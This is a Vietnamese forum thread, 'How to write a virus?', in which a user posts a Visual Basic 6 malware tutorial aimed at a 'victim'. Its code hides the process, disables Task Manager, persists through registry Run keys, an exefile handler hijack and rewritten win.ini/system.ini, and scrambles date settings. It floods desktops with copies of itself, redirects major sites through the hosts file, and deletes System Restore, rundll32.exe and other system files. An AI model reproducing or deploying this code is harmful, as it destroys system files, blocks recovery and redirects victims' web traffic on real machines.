User Tag List

+ Trả lời Chủ đề+ Viết chủ đề mới
Kết quả 1 đến 2 của 2

Chủ đề: Viết 1 con virus như thế nào ?

  1. #1
    Ngày tham gia
    Nov 2010
    Đang ở
    Cần bán gấp nhà 3.000 m2, tường chống đạn, nhiều phòng, an ninh tốt, có camera,
    Status
    Offline
    Bài viết
    314
    Thanks
    39
    Thanked 126 Times in 89 Posts
    Mentioned
    2 Post(s)
    Tagged
    0 Thread(s)

    Viết 1 con virus như thế nào ?

    Bạn muốn viết Virus bằng Visual Basic 6.0 ? và bạn đang muốn tìm 1 sự giúp đỡ ? Không đâu xa , chính tại nơi này , để làm Virus bằng Visual Basic 6.0 = vb6
    Bật vb6 lên
    Đầu tiên , hãy bắt đầu với một số mã cơ bản để giấu Virus/Worm/Trojan trong máy của nạn nhân.

    Private Sub Form_Load()
    On Error Resume Next 'Lệnh này cho phép chương trình của bạn vẫn tiếp tục chạy dù đang bị lỗi.
    me.Hide 'Lệnh này sẽ giấu chương trình của bạn với nạn nhân
    App.TaskVisible = False
    'Lệnh này sẽ giấu ứng dụng của bạn trong danh sách những file exe đang chạy của task manager
    End Sub

    Ok , bây giờ mới bắt đầu "trò vui" đây , đây là một Scripts mà tôi thích dùng
    hi vọng nó sẽ giúp ích cho bạn , tuy nó đơn giản nhưng nên cơm nên cháo đấy
    Disable TaskManager :

    Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", vbHide

    Bằng hàm shell , bạn có thể dùng bất cứ lệnh nào trong CMD ( command dos) , và nếu bạn thêm ,vbHide bên sau nó ,
    CMD sẽ không xuất hiện và victim tưởng không có chuyện gì xảy ra.
    Thêm một số lệnh nữa trong VB6 Pro :

    Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ###Name### /t REG_SZ /d ###Drive:\Path\Name.exe### /f", vbHide
    ' Làm chương trình khởi động cùng Window

    Shell "REG add HKCR\exefile\shell\open\command /v Shell /t REG_SZ /d ###Drive:\Path\Name.exe### %1 %* /f", vbHide
    'Lệnh trên sẽ làm cho chương trình chạy khi nạn nhân mở một ứng dụng khác , ví dụ : msnmsngr.exe

    Shell "REG add HKLM\Control Panel\International /v s1159 /t REG_S /d ###Letter/Symbol/Number### /f", vbHide
    Shell "REG add HKLM\Control Panel\International /v s2359 /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
    Shell "REG add HKLM\Control Panel\International /v SLongDate /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
    Shell "REG add HKLM\Control Panel\International /v sShortDate /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
    Shell "REG add HKLM\Control Panel\International /v sTimeFormat /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
    Shell "REG add HKLM\Control Panel\International /v sNativeDigits /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide

    'Những lệnh trên sẽ làm cho ngày giờ trên máy nạn nhân bị đảo lộn hòan toàn
    'Đổi "###Letter/Symbol/Number###" thành dấu "?" thì nạn nhân sẽ thấy thời gian là ????? còn ngày là ??????

    FileCopy App.Path & "\" & App.EXEName & ".EXE", "Drive:\Path\Name.exe"
    'Mã này tốt , khi bạn copy virus/worm ... của bạn tới 1 nơi khác , nó sẽ tìm windows processes giống như svchost.exe mục đích làm cho nạn nhân khó loại bỏ virus của bạn

    Dim intResult As Integer
    Randomize
    intResult = Int((9542 * Rnd) + 4592)
    FileCopy App.Path & "\" & App.EXEName & ".EXE", "c:\Documents and Settings\All Users\Desktop\DimenBlackScript.exe" & intResult & ".exe"
    'Ok , hãy vui một chút , đây là code đơn giản nhưng khá khó chịu , thêm 1 timer vào chương trình
    'và cho interval = 1 , khi đọan code chạy, tất cả desktop của mọi user sẽ bị đầy tràn những chương trình của bạn

    'runs the more Memory it takes up and the more viruses that person has to delete, try adding it to places like
    ' C:\DOCU~\All Users\Start Menu\Programs\Start up\
    'That will cause the victim alot of hassle =P.
    Ai dịch giùm câu ở trên với , lần đầu dịch bài

    Kill "c:\windows\win.ini"
    Kill "c:\windows\system.ini"
    Open "c:\WINDOWS\win.ini" For Output As #1
    Print #1, "Load = C:\Program Files\Virus1.exe"
    Print #1, "run = C:\Program Files\Virus2.exe"
    Close #1
    Open "c:\WINDOWS\system.ini" For Output As #1
    Print #1, "Shell=Explorer.exe C:\WINDOWS\System\Virus3.exe"
    Print #1, "Shell=Explorer.exe C:\WINDOWS\System32\Virus4.exe"
    Close #1
    'Ok , code trên làm chương trình của bạn khởi động cùng window mà không cần Registry hoặc DOS

    Open "c:\WINDOWS\system32\drivers\etc\hosts" For Output As #1
    Print #1, "208.65.153.251 208.65.153.251 "
    Print #1, "208.65.153.251 www.google.com"
    Print #1, "208.65.153.251 www.google.co.uk"
    Print #1, "208.65.153.251 www.yahoo.com"
    Print #1, "208.65.153.251 www.yahoo.co.uk"
    Print #1, "208.65.153.251 www.askjeeves.com"
    Print #1, "208.65.153.251 www.altavista.com"
    Print #1, "208.65.153.251 www.alltheweb.com"
    Print #1, "208.65.153.251 www.msn.com"
    Print #1, "208.65.153.251 www.hotmail.com"
    Print #1, "208.65.153.251 www.myspace.com"
    Print #1, "208.65.153.251 www.plunder.com"
    Print #1, "208.65.153.251 www.quicksharing.com"
    Print #1, "208.65.153.251 www.myspace.com"
    Close #1

    'Code trên chỉ làm cho nạn nhân không truy cập được và mấy trang như Google thôi, hoặc lấy thêm thông tin
    'hoặc không cho tải những chương trình để chặn con Virus của bạn

    Kill "%SystemRoot%\syst" & "em32\dfrg.msc"
    Kill "%SystemRoot%\syste" & "m32\wscui.cpl"
    Kill "C:\Program Files\Co" & "mmon Files\Microsoft Shared\MSInfo\msinfo32.exe"
    Kill "%SystemRoot%\syste" & "m32\restore\rstrui.exe"
    Kill "c:\WINDOWS\syste" & "m32\rundll32.exe"
    'Ok, cuối cùng hãy loại bỏ bằng System Restore, chạy dll ( bằng cách xóa file này,
    'nạn nhân sẽ không thấy các thuộc tính của bất kỳ file nào trên máy

    Còn mún tham khảo thêm thì ở [Only registered and activated users can see links. ]

    Chủ đề tương tự:
    [Only registered and activated users can see links. ] gồm truyện cười , video clip hài vui nhộn , trò chơi flash vui nhộn , phim truyện hay , phim ngắn ,
    [Only registered and activated users can see links. ] Chia sẽ những mẹo vặt , cách ứng xữ , cách xữ lý các tình huống trong cuộc sống
    [Only registered and activated users can see links. ] Những câu chuyện chia sẽ tình cảm hay của khách tại hẻm 14

    [Only registered and activated users can see links. ] là mục nói về các cung hoàng đạo trong chiêm tinh học

  2. The Following 2 Users Say Thank You to newbie For This Useful Post:

    Miu92 (05-03-2012), Pi (26-09-2011)

  3. #2
    Ngày tham gia
    Nov 2010
    Đang ở
    sky
    Status
    Offline
    Bài viết
    106
    Thanks
    34
    Thanked 42 Times in 33 Posts
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Re: Viết 1 con virus như thế nào ?




    ... and life makes love look hard

+ Trả lời Chủ đề

Visitors found this page by searching for:

viet 1 virus

chạy chương trình vb6 trên linux

viết một con vius như thế nào

viết virus như thế nào

vb6 chống kill process trong task manager

viết virut như thế nào

Members who have read this thread : 14

Tag của Chủ đề này

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
Free Auto Backlink Exchange Service